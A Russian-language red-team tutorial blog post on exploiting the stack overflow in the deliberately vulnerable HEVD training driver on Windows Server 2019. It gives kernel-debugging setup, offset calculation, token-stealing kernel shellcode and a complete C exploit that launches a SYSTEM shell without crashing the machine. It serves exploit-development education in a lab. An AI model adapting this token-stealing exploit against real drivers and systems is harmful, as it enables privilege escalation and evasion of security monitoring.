Всем привет! С вами на связи команда Red Team из Angara Security. Сегодня мы немного погрузимся в основы одной из дисциплин, которая является фундаментом любого Malware и Exploit Development. Эти два направления критично важны для проведения Red Team ассессментов, если ты хочешь имитировать действительно скилловых злоумышленников, обходить средства защиты и получать необходимый результат, оставаясь незамеченным для средств мониторинга и служб реагирования на инциденты.

Одним из действенных способов взаимодействия с операционной системой в обход средств защиты является эксплуатация уязвимостей в драйверах ОС. Это могут быть как системные, так и проприетарные драйверы, которые можно установить на скомпрометированную ОС. К примеру, в нашем арсенале есть ряд инструментов, позволяющих эксплуатировать эти уязвимости, закреплять свое присутствие в системе, а также получать критичные данные из памяти системных процессов. Но прежде чем заниматься поиском и эксплуатацией уязвимостей в драйверах, нужно уметь выполнять базовые действия и потренироваться на специально подготовленных драйверах.

Данная статья рассчитана на тех, кто только начинает свой путь в MalDev и ExploitDev и имеет базовые знания в реверс‑инжиниринге. А в качестве «подопытного» будет рассматриваться HackSys Extreme Vulnerable Driver (HEVD), в котором мы рассмотрим эксплуатацию классической уязвимости — Stack Overflow. Однако эта статья не совсем простая. В других доступных статьях из открытых источниках рассматриваются совсем базовые примеры передачи управления из шеллкода обратно в код драйвера, что в современных ОС (например, Windows Server 2019) вызывает BSOD. А нам такое на реальных проектах не нужно: мы же не хотим уронить важный сервер в процессе работ:). Поэтому "фишкой" этой статьи станет одно из предложений по решению этой проблемы и корректному запуску шеллкода без остановки работы самого драйвера и падения системы.

Итак, если вы готовы продолжать читать эту статью и научиться эксплуатировать эту уязвимость, вам нужно:

  • иметь базовые знания в реверс‑инжиниринге и отладке (будет много про IDA и WinDbg)

  • иметь базовое представление о работе драйверов в ОС Windows

  • иметь желание прокачаться в эксплуатации уязвимостей в драйверах:)

Из инструментов вам понадобится:

  • 2 ВМ под управлением ОС Windows Server 2019 x64 (можно взять, например, GOAD)

  • IDA Free (или Pro, если у вас есть лицензия;) )

  • WinDbg

  • mingw

  • nasm

  • Удобная для вас IDE для редактирования кода (достаточно будет VS Code)

Готовы? Поехали! Постараемся рассказать все максимально лаконично, без воды и с упором на технические детали.

Основные сведения о драйверах

После первичной инициализации драйвера управление передаётся на функцию DriverEntry, которая выполняет следующие действия:

  • получает в качестве параметра указатель на структуру DRIVER_OBJECT, созданную и частично инициализированную системой;

  • завершает инициализацию DRIVER_OBJECT, в том числе заполняет массив MajorFunction состоящий из адресов функций, вызываемых системой в ответ на определенные действия приложения или устройства;

  • вызывает функцию IoCreateDevice() для создания объектов устройств, которыми управляет драйвер;

  • вызывает функцию IoCreateSymbolicLink() для создания символической ссылки на объект устройства для обеспечения возможности взаимодействия с драйвером программ пользовательского режима.

Обычно основной функционал драйвера реализован через функции содержащиеся в массиве MajorFunction. Основной способ взаимодействия драйвера с системой, другими драйверами и пользовательскими приложениями заключается в обмене специальными пакетами данных — I/O Request Packet (IRP). Помимо прочего, эти пакеты содержат код функции, которую необходимо выполнить, указатель на буфер данных передаваемых этой функции и указатель на буфер, в который драйвер поместит результат своей работы. Драйвер может завершить обработку полученного IRP, вызвав одну из трех функций:

  • IoCompleteRequest — полностью завершает обработку IRP и возвращает результат отправившему запрос коду;

  • IoMarkIrpPending — помещает IRP в очередь для последующей обработки другими драйверами или системой;

  • IoCallDriver — передача IRP другому драйверу.

Описание упрощенное, но для понимания статьи достаточное. Приведем пример кода минимального драйвера:

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
//DriverObject	адрес объекта драйвера;
//RegistryPath	путь в реестре, где содержится информация о драйвере.
{
	NTSTATUS       status;
	PDEVICE_OBJECT fdo;
	UNICODE_STRING devName;
	UNICODE_STRING devLink;

	for (i = 0; i < IRP_MJ_MAXIMUM_Function; i++) 
		DriverObject->MajorFunction[i] = MyDefaultHandler;

	DriverObject->DriverUnload                         = DriverUnload;
	DriverObject->MajorFunction[IRP_MJ_CREATE]         = DriverCreate;
	DriverObject->MajorFunction[IRP_MJ_CLOSE]          = DriverClose;
	DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverControl;

	RtlInitUnicodeString(&devName,L"\\Device\\DeviceName1");
	status = IoCreateDevice(DriverObject, sizeof(PDEVICE_OBJECT), &devName, FILE_DEVICE_UNKNOWN, 0, FALSE, &fdo);
	if(!NT_SUCCESS(status))
		return status;

	RtlInitUnicodeString(&devLink,L"\\??\\DeviceName1");
	status = IoCreateSymbolicLink(&devLink,&devName);
	if(!NT_SUCCESS(status))
	{
		IoDeleteDevice(fdo);
		return status;
	}

	return STATUS_SUCCESS;
}

NTSTATUS DriverCreate(IN PDEVICE_OBJECT fdo, IN PIRP irp)
{
	irp->IoStatus.Status      = STATUS_SUCCESS;
	irp->IoStatus.Information = 0;
	IoCompleteRequest(irp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}
 
NTSTATUS DriverClose(IN PDEVICE_OBJECT fdo, IN PIRP irp)
{
	irp->IoStatus.Status      = STATUS_SUCCESS;
	irp->IoStatus.Information = 0;
	IoCompleteRequest(irp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}
 
NTSTATUS DriverControl(IN PDEVICE_OBJECT fdo, IN PIRP irp)
{
	irp->IoStatus.Status      = STATUS_SUCCESS;
	irp->IoStatus.Information = 0;
	IoCompleteRequest(irp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

VOID DriverUnload(IN PDRIVER_OBJECT fdo)
{
	UNICODE_STRING deviceLink;
	RtlInitUnicodeString(&deviceLink,L"\\??\\DeviceName1");
	IoDeleteSymbolicLink(&deviceLink);
	IoDeleteDevice(fdo->DeviceObject);
}

Настройка WinDbg для работы с ядром

Для отладки драйверов в Windows чаще всего применяется отладчик WinDbg. Для работы с ним удобно использовать стенд состоящий из двух виртуальных машин под управлением ОС Windows:

VM

Описание

IP адрес

TARGET

Машина на которой загружается исследуемый драйвер

Любой адрес

HOST

Машина, на которой работает WinDbg и к которой будет подключаться целевая машина (Target)

192.168.56.10

WinDbg настраивается для подключения через сеть, что позволяет использовать один алгоритм настройки независимо от платформы виртуализации — VirtualBox, Qemu/KVM, VMWare и так далее

Настроим машину TARGET. Выполним следующие команды в CMD с правами локального администратора:

bcdedit /debug on
bcdedit /dbgsettings net hostip:192.168.56.10 port:50000 key:1.1.1.1
shutdown -r -t 0

Далее загрузим наш уязвимый драйвер (предварительно скачав его и положив в папку C:\Windows\System32):

sc create bin= c:\windows\system32\hevd.sys
sc start hevd

Далее на машине HOST установим и запустим WinDbg. Запускаем в режиме отладки ядра: File -> Attach to Kernel -> Net, а также указываем порт 50 000 и ключ, ранее заданные на машине TARGET.

Настройка WinDbg
Настройка WinDbg

Анализ драйвера HEVD

Запускаем на своем хосте (или на виртуальной машине HOST) IDA Pro и открываем файл исследуемого драйвера: File -> Open, выбираем файл hevd.sys

Выбор файла драйвера в IDA Pro
Выбор файла драйвера в IDA Pro

Далее, оставляем все по умолчанию

Оставляем как есть
Оставляем как есть

На выпадающее предложение загрузить PDB‑файл (если такое предложит IDA) жмем Yes

Соглашаемся
Соглашаемся

И попадаем на точку входа — функцию из которой вызывается DriverEntry

Точка входа
Точка входа

Отсюда переходим на DriverEntry

Функция DriverEntry
Функция DriverEntry

В функции DriverEntry, по адресу 14008A092 находится код, который инициализирует массив MajorFunction значениями IrpNotImplementedHandler, IrpCreateCloseHandler и IrpDeviceIoControlHandler

Инициализация массива MajorFunction
Инициализация массива MajorFunction

Переходим на код функции IrpNotImplementedHandler. Её функционал сводится к вызову функции IoCompleteRequest, которая завершает IRP и интереса для нас не представляет.

Функция IrpNotImplementedHandler
Функция IrpNotImplementedHandler

Аналогично с функцией IrpCreateCloseHandle

Функция IrpCreateCloseHandle
Функция IrpCreateCloseHandle

Таким образом, основной функционал содержится в функции IrpDeviceIoControlHandler, которая представляет собой большой switch по IOCTL‑кодам, соответствующим реализованным в драйвере уязвимостям. Зелеными стрелками показаны IOCTL‑коды, красными — инструкции перехода.

Функция IrpDeviceIoControlHandler
Функция IrpDeviceIoControlHandler

Каждый case сопровождается строкой‑описанием уязвимости, выводящейся в консоль отладчика через DbgPrint и дающей возможность легко отыскать нужный блок кода в дизассемблере.

Блок кода, вызывающий уязвимую функцию BufferOverflowStackIoctlHandler.

Вызов функции BufferOverflowStackIoctlHandler
Вызов функции BufferOverflowStackIoctlHandler

Определяем откуда на этот блок передаётся управление. Для этого ставим курсор на адрес 1400851FF и нажимаем Ctrl+x. В открывшемся окне выбираем единственную строку.

жмем OK или Enter и попадаем сюда:

Из этого кода следует, что функция, содержащая уязвимость Stack Buffer Overflow, вызывается из обработчика IOCTL 0x222003. Жмем ESC и возвращаемся обратно к началу уязвимого кода. Переходим в функцию BufferOverflowStackIoctlHandler, которая получает указатель на переданный пользователем буфер и его размер.

Функция BufferOverflowStackIoctlHandler
Функция BufferOverflowStackIoctlHandler

Далее переходим в функцию TriggerBufferOverflowStack, которая и содержит уязвимый код: на стеке выделяется 0x820 байт под локальные переменные (адрес 1400865С9), из которых массив из 0x800 байт заполняется нулями (адрес 1400865E8).

Функция TriggerBufferOverflowStack
Функция TriggerBufferOverflowStack

После этого в заполненный нулями массив копируются данные из буфера (адрес 14008667E), указатель на который передан в качестве параметра функции TriggerBufferOverflowStack. Эта функция, в свою очередь, получает этот буфер из пользовательского приложения через вызов DeviceIoControl.

Функция TriggerBufferOverflowStack не проверяет размер переданного буфера перед копированием, что и приводит к уязвимости переполнения буфера в стеке и, соответственно, возможности переписать адрес возврата для функции TriggerBufferOverflowStack.

Краткое описание уязвимости переполнение буфера в стеке

При вызове функции F() вызывающая функция записывает адрес возврата Return Address (RA), по которому F() должна передать управление после своего завершения на вершину стека. Сама F() хранит в стеке свои локальные переменные. При этом стек растет в сторону младших адресов памяти. Таким образом, мы имеем:

Адрес

Содержимое

1112

RA

1108

var1

1104

var2

1000

buf[100]

Если скопировать в buf 100 байт — все нормально, 104 байта — будет перезаписана переменная var2, 112 байт — будет перезаписан адрес возврата RA. Подробнее можно ознакомиться, например, тут.

Эксплуатация переполнения буфера в стеке драйвера HEVD

Для демонстрации возможности переполнения буфера в стеке будем использовать следующий код (здесь и далее обработка ошибок для краткости пропущена):

#include <windows.h>

int main()
{
        DWORD n = 0;
        unsigned char buffer[0x1000] = { 0 };
        memset(buffer, 'A', 0x1000);

        HANDLE hDevice = CreateFile(
                "\\\\.\\HacksysExtremeVulnerableDriver",
                GENERIC_READ | GENERIC_WRITE, 
                FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, 
                OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 
                NULL);

        DeviceIoControl(hDevice,
                0x222003,
                buffer,
                sizeof(buffer),
                0,
                0,
                &n,
                0);

		return 0;
}

Данный код собирается следующей командой:

x86_64-w64-mingw32-g++ -o stack-overflow.exe stack-overflow.cpp

Код выделяет буфер размером 0x1000 байт, заполняет его символом 'A', затем получает хэндл устройства HEVD и передаёт выделенный буфер драйверу.

Размер выделяемого буфера в 0x1000 байт определяется объёмом памяти выделяемой функцией TriggerBufferOverflowStack под свои локальные переменные.

Запуск кода приводит к ошибке, которую перехватывает WinDbg (если отладчик не подключен система уходит в синий экран):

Ошибка Access Violation
Ошибка Access Violation

Вывод содержимого регистров и стека показывает, что причина сбоя заключается в замене адреса возврата в стеке значением 4141414141414141, которое совпадает с содержанием переданного буфера:

Результат переполнения стека
Результат переполнения стека

Определение смещения адреса возврата в передаваемом буфере

Функция TriggerBufferOverflowStack сначала помещает в стек три qword'а командами push (адреса: 1400865С3, 1400865С5, 1400865С7) затем указатель стека смещается на 0x820 командой sub (адрес 1400865С9).

Таким образом, указатель стека смещен относительно адреса возврата на 3 * sizeof(qword) + 0x820 = 0x838, а буфер‑приемник начинается по адресу rsp+0x20 (адрес 1400865СE3).

Заменив в нашем коде 7 строку на:

memset(buffer, 'A', 2072);
memset(buffer + 2072, 'B', 8);

При повторном запуске эксплойта получим:

Измененный адрес возврата
Измененный адрес возврата

Теперь адрес возврата равен 4242424242424242, то есть смещение рассчитано верно и можно передавать управление на нужный шеллкод.

Фрагмент занятый символом B необходимо заменить адресом шеллкода, который будет повышать привилегии вызывающего процесса до SYSTEM.

Повышение привилегий

Все процессы в Windows описываются недокументированной структурой EPROCESS, поля которой можно посмотреть в windbg командой dt _EPROCESS.

Структура EPROCESS
Структура EPROCESS

Нас интересует смещение поля Token (+0x358)

Обрати внимание

Значения смещений полей в недокументированных структурах может различаться для конкретных систем. Актуальные значения можно получить с помощью WinDbg командой dt _EPROCESS:

Это поле представляет собой указатель на блок данных, который предоставляется процессом LSASS и описывает права доступа и привилегии процесса. Токен пользователя SYSTEM даёт разрешение на полный доступ ко всем системным объектам: файлам, процессам, каналам, устройствам и тому подобное

Когда Windows запускается создаётся процесс System (pid=4), который выполняется от имени пользователя SYSTEM. Таким образом, если подменить токен произвольного процесса токеном процесса System, то этот процесс получит все системные права и привилегии.

Попробуем проэксплуатировать уязвимость на виртуальной машине лабы GOAD. На любой виртуальной машине из лабы с ОС Windows Server 2019 запускаем процесс cmd.exe от имени непривилегированного пользователя (например, robb.stark)

Запущенная консоль от непривилегированного пользователя
Запущенная консоль от непривилегированного пользователя

Выводим адреса EPROCESS для процессов system и cmd.exe. Видим, что адрес EPROCESS для процесса System‑ ffffb8856a04e2c0, а адрес EPROCESS для процесса cmd.exe — ffffb8856e216080. Получаем адрес, где содержится токен процесса System командой dq ffffb8856a04e2c0 + 358 l1 (358 — смещение поля Token, которое нам интересно). Получаем адрес токена — ffffdf8b68006043. Подменяем в EPROCESS процесса cmd.exe адрес токена на адрес токена из процесса System командой eq ffffb8856e216080 + 358 ffffdf8b68006043.

Убеждаемся, что процесс cmd.exe получил системные привилегии:

Мы успешно повысили привилегии
Мы успешно повысили привилегии

Реализация описанных действий через шеллкод:

steal-token.asm
	<start>:
	mov	rax,QWORD PTR gs:0x188          ;rax = указатель на KTHREAD
	mov	rax,QWORD PTR [rax+0x98]        ;rax = указатель на KAPC_STATE
	mov	rax,QWORD PTR [rax+0x20]        ;rax = указатель на KPROCESS, который перекрывается EPROCESS
	mov	rcx,rax

	<find_system_process>:
	mov	rax,QWORD PTR [rax+0x2e8]       ;проход по списку всех процессов
	sub	rax,0x2e8
	mov	r9,QWORD PTR [rax+0x2e0]        ;r9 = PID
	cmp	r9,0x4
	jne	<find_system_process>           ;пока не будет найден процесс у которого PID=4 (System)

	#подмена токена
	mov	rdx,QWORD PTR [rax+0x358]       ;указатель на токен процесса System
	and	dl,0xf0
	mov	QWORD PTR [rcx+0x358],rdx       ;замена указателя на токен текущего процесса указателем на токен процесса System

Функция TriggerBufferOverflowStack возвращает управление в функцию BufferOverflowStackIoctlHandler по адресу 1400865AE.

Функция BufferOverflowStackIoctlHandler в свою очередь возвращает управление по адресу 140085253

Адрес возврата 1400865AE перезаписывается адресом шеллкода, поэтому возвращать управление из шеллкода будем на следующий, хранящийся в стеке, адрес возврата — 140085253. Для этого шеллкод необходимо завершить следующим кодом:

xor    rax,rax
add    rsp,0x28
ret

Собираем шеллкод следующей командой:

nasm -f win64 -o st.obj steal-token.asm && objdump -M intel -d st.obj

И используем для формирования данных передаваемых в драйвер:

void main()
{
	unsigned char shellcode64[] = {
		//<start>:
		0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00,   //mov    rax,QWORD PTR gs:0x188
		0x48, 0x8b, 0x80, 0x98, 0x00, 0x00, 0x00,               //mov    rax,QWORD PTR [rax+0x98]
		0x48, 0x8b, 0x40, 0x20,                                 //mov    rax,QWORD PTR [rax+0x20]
		0x48, 0x89, 0xc1,                                       //mov    rcx,rax

		//<find_system_process>:
		0x48, 0x8b, 0x80, 0xe8, 0x02, 0x00, 0x00,               //mov    rax,QWORD PTR [rax+0x2e8]
		0x48, 0x2d, 0xe8, 0x02, 0x00, 0x00,                     //sub    rax,0x2e8
		0x4c, 0x8b, 0x88, 0xe0, 0x02, 0x00, 0x00,               //mov    r9,QWORD PTR [rax+0x2e0]
		0x49, 0x83, 0xf9, 0x04,                                 //cmp    r9,0x4
		0x75, 0xe6,                                             //jne    <find_system_process>

		//<stealing>:
		0x48, 0x8b, 0x90, 0x58, 0x03, 0x00, 0x00,               //mov    rdx,QWORD PTR [rax+0x358]
		0x80, 0xe2, 0xf0,                                       //and    dl,0xf0
		0x48, 0x89, 0x91, 0x58, 0x03, 0x00, 0x00,               //mov    QWORD PTR [rcx+0x358],rdx

		//<cleanup>:
		0x48, 0x31, 0xc0,                                       //xor    rax,rax
		0x48, 0x83, 0xc4, 0x28,                                 //add    rsp,0x28
		0xc3                                                    //ret
	};

	LPVOID shellcode_buffer = VirtualAlloc(NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(shellcode_buffer, shellcode64, sizeof(shellcode64));

	size_t offset_len = 2072 - 24;
	unsigned char *offset = (unsigned char*) malloc(offset_len);
	memset(offset, 'A', offset_len);

	unsigned char rip[8];
	ULONG64 addr = (ULONG64) shellcode_buffer;
	memcpy(rip, &addr, sizeof(addr));

	unsigned char zero8[8] = { 0 };
	unsigned char irpsp[8] = { 'B', 'B', 'B', 'B', 'B', 'B', 'B', 'B' };

	size_t payload_len = offset_len + 8 + 8 + 8 + sizeof(rip);
	unsigned char *payload = (unsigned char*) malloc(payload_len);
	memcpy(payload, offset, offset_len);
	memcpy(payload + offset_len, zero8, sizeof(zero8));
	memcpy(payload + offset_len + sizeof(zero8), irpsp, sizeof(irpsp));
	memcpy(payload + offset_len + sizeof(zero8) + sizeof(irpsp), zero8, sizeof(zero8));
	memcpy(payload + offset_len + sizeof(zero8) + sizeof(irpsp) + sizeof(zero8), rip, sizeof(rip));

	HANDLE hDevice = CreateFile(
                "\\\\.\\HacksysExtremeVulnerableDriver",
                devname,
                GENERIC_READ | GENERIC_WRITE,
                FILE_SHARE_READ | FILE_SHARE_WRITE,
                NULL,
                OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL,
                NULL);

	DWORD n = 0;
	DeviceIoControl(
                hDevice,
                0x222003,
                payload,
                payload_len,
                0,
                0,
                &n,
                0);
}

Запуск этого кода приводит к синему экрану. Причина ошибки в том, что при перезаписи адреса возврата функции TriggerBufferOverflowStack происходит перезапись ещё каких‑то важных данных находящихся выше по стеку.

Перезапись данных
Перезапись данных

В данном случае речь идёт об адресе FFFFB2084D5FDE30. Из анализа кода следует, что это указатель на текущий стек IRP. В общем случае, при отсутствии других уязвимостей, восстановить указатель невозможно. Поэтому рассмотрим другой способ.

Обрати внимание

В User mode классический шеллкод обычно запускает локальный или сетевой шелл, который работает в контексте уязвимого процессе, заменяя его функционал своим. Тот факт, что шеллкод не возвращает управление в уязвимый код из которого был вызван влияет только на уязвимый процесс и обычно не затрагивает остальную систему. Реализация LPE через уязвимый обработчик IOCTL представляет собой вызов функции в User mode, которая передаёт управление в Kernel mode, где выполняется полезная нагрузка (шеллкод). Эффект (повышение привилегий) распространяется только на вызывающий (уязвимый) процесс, поэтому, чтобы воспользоваться результатом работы полезной нагрузки, необходимо чтобы драйвер вернул управление назад в вызывающий процесс. В сети рассматривается несколько способов возврата управления из режима ядра, но на Windows Server 2019 x64 ни один из них не работает. Поэтому необходимо найти альтернативный метод

Возобновление работы системы после нарушения целостности стека обработчика IRP

Идея в следующем: после замены токена новые права получают все потоки исходного процесса и все процессы, созданные исходным после замены токена. Следовательно, необходимо реализовать следующую последовательность:

  1. создать процесс

  2. создать новый поток и поставить его на паузу

  3. в главном потоке передать в драйвер нагрузку, содержащую шеллкод, завершающийся бесконечным циклом

  4. в новом потоке создать процесс cmd.exe, который будет выполняться от имени SYSTEM

#include <windows.h>
#include <stdio.h>

DWORD WINAPI StartCmd(LPVOID)
{
	Sleep(2000);

	STARTUPINFO si;
	memset(&si, 0, sizeof(si));
	si.cb = sizeof(si);

	PROCESS_INFORMATION pi;
	memset(&pi, 0, sizeof(pi));

	CreateProcess(
                "c:\\windows\\system32\\cmd.exe",
                NULL,
                NULL,
                NULL,
                FALSE,
                0,
                NULL,
                NULL,
                &si,
                &pi);
	return 0;
}

void main()
{
	unsigned char shellcode64[] = {
		//<start>:
		0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00,   //mov    rax,QWORD PTR gs:0x188
		0x48, 0x8b, 0x80, 0x98, 0x00, 0x00, 0x00,               //mov    rax,QWORD PTR [rax+0x98]
		0x48, 0x8b, 0x40, 0x20,                                 //mov    rax,QWORD PTR [rax+0x20]
		0x48, 0x89, 0xc1,                                       //mov    rcx,rax

		//<find_system_process>:
		0x48, 0x8b, 0x80, 0xe8, 0x02, 0x00, 0x00,               //mov    rax,QWORD PTR [rax+0x2e8]
		0x48, 0x2d, 0xe8, 0x02, 0x00, 0x00,                     //sub    rax,0x2e8
		0x4c, 0x8b, 0x88, 0xe0, 0x02, 0x00, 0x00,               //mov    r9,QWORD PTR [rax+0x2e0]
		0x49, 0x83, 0xf9, 0x04,                                 //cmp    r9,0x4
		0x75, 0xe6,                                             //jne    <find_system_process>

		//<stealing>:
		0x48, 0x8b, 0x90, 0x58, 0x03, 0x00, 0x00,               //mov    rdx,QWORD PTR [rax+0x358]
		0x80, 0xe2, 0xf0,                                       //and    dl,0xf0
		0x48, 0x89, 0x91, 0x58, 0x03, 0x00, 0x00,               //mov    QWORD PTR [rcx+0x358],rdx

		//<infinite loop>:
		0x90,                                                   //nop
                0x90,                                                   //nop
                0x90,                                                   //nop
                0xeb, 0xfb                                              //jmp infinite_loop
	};

	LPVOID shellcode_buffer = VirtualAlloc(NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(shellcode_buffer, shellcode64, sizeof(shellcode64));

	size_t offset_len = 2072 - 24;
	unsigned char *offset = (unsigned char*) malloc(offset_len);
	memset(offset, 'A', offset_len);

	unsigned char rip[8];
	ULONG64 addr = (ULONG64) shellcode_buffer;
	memcpy(rip, &addr, sizeof(addr));

	unsigned char zero8[8] = { 0 };
	unsigned char irpsp[8] = { 'B', 'B', 'B', 'B', 'B', 'B', 'B', 'B' };

	size_t payload_len = offset_len + 8 + 8 + 8 + sizeof(rip);
	unsigned char *payload = (unsigned char*) malloc(payload_len);
	memcpy(payload, offset, offset_len);
	memcpy(payload + offset_len, zero8, sizeof(zero8));
	memcpy(payload + offset_len + sizeof(zero8), irpsp, sizeof(irpsp));
	memcpy(payload + offset_len + sizeof(zero8) + sizeof(irpsp), zero8, sizeof(zero8));
	memcpy(payload + offset_len + sizeof(zero8) + sizeof(irpsp) + sizeof(zero8), rip, sizeof(rip));

	CreateThread(0, 0, StartCmd, 0, 0, 0);

	HANDLE hDevice = CreateFile(
                "\\\\.\\HacksysExtremeVulnerableDriver",
                GENERIC_READ | GENERIC_WRITE,
                FILE_SHARE_READ | FILE_SHARE_WRITE,
                NULL,
                OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL,
                NULL);

	DWORD n = 0;
	DeviceIoControl(
                hDevice,
                0x222003,
                payload,
                payload_len,
                0,
                0,
                &n,
                0);
}

Запускаем процесс от имени обычного пользователя:

Запускаем эксплоит и получаем шелл с правами SYSTEM:

В заключение

Итак, мы рассмотрели вариант эксплуатации уязвимости переполнения буфера в стеке драйвера на примере HEVD для Windows Server 2019 x64. Как вы могли заметить, основная сложность при эксплуатации этой уязвимости заключается в том, что описанные в сети методы возврата управления из шеллкода в драйвер приводят к падению системы. Это связано с тем, что при перезаписи адреса возврата повреждаются другие критически важные данные, сохранённые в стеке обработчика IRP.

Однако нам удалось применить технику с созданием нового пользовательского потока до передачи уязвимому IOCTL‑запросу. Это позволило завершить шеллкод бесконечным циклом и предотвратить обращение к испорченным данным. Новый поток делает паузу — в течение этого времени шеллкод гарантированно отработает и повысит права процесса до системных, а затем создаст процесс cmd.exe с правами SYSTEM. Такой подход позволяет успешно эксплуатировать уязвимость на современных версиях Windows без необходимости восстановления повреждённых структур стека драйвера.

Если вам понравилась статья и вы хотите рассмотреть ещё какие‑нибудь базовые вещи из направлений MalDev и ExploitDev — смело пишите в комментарии. Постараемся подготовить для вас ещё больше полезного и интересного контента. :)